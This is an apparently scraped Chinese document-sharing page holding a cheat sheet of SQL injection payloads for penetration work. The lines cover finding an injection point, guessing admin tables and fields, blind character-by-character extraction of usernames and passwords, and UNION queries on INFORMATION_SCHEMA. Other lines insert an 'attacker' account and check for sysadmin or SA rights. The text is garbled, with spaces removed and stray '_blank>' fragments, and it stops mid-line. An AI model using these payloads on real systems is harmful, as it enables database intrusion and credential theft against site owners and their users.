渗透常用SQL注入语句大全.doc

《渗透常用SQL注入语句大全.doc》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、.1.判断有无注入点;and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin这表3.猜数目如果遇到0<返回正确页面1<返回错误页面说明数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想

2、到的字段名称. ?123and1=(selectcount(*)fromadminwherelen(*)>0)–and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止 ?12345678and1=(selectcount(*)fromadminwherelen(*)>0)an

3、d1=(selectcount(*)fromadminwherelen(name)>6)错误and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6)正确 and1=(selectcount(*)fromadminwherelen(password)>11)正确and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12

4、and1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid

5、(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.?12groupbyusers.idhaving1=1–.2cto.groupbyusers.id,users.username,users.password,users.privshaving1=1–..3456789;insertintousersvalues(666,attacker,foobar,0xffff)– UNIONSelectTOP1COLU

6、MN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintable-UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP1COLUMN_bl

7、ank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTABLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)-UNIONSelectTOP1login_blank>_nameFROMlogintable-UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–看_

8、blank>服务器打的补丁=出错了打了SP4补丁and1=(selectVERSION)–看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–判断连接_blank>数据库。（采用SA账号连接返回正常=证明了连接账号是SA） ?123andsa=(